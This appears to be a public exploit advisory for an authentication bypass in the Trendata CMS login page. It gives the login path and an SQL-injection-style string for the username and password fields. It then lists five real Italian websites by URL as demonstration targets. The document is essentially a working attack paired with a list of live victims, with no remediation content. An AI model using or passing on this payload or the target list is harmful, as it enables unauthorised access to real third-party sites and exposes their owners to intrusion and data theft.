Trendata Cms Login Authentication bypass vulnerability

# Exploit Title : Trendata Cms Login Authentication bypass vulnerability
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://www.trendata.it
# Google Dork : Credits: Trendata
# Date: 2015/11/15
# Version : ---
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# PoC:
#1-First go to page /cms/login.php (http://target/cms/login.php)
#2-To bypass the login page enter '=' 'or' for username and password input.
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#Demo:
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#http://www.centroserviziannisereni.it/cms/login.php
#http://www.contangofinance.it/cms/login.php
#http://desysrl.it/cms/login.php
#http://www.delizievege.it/cms/login.php
#http://www.hteworld.it/cms/login.php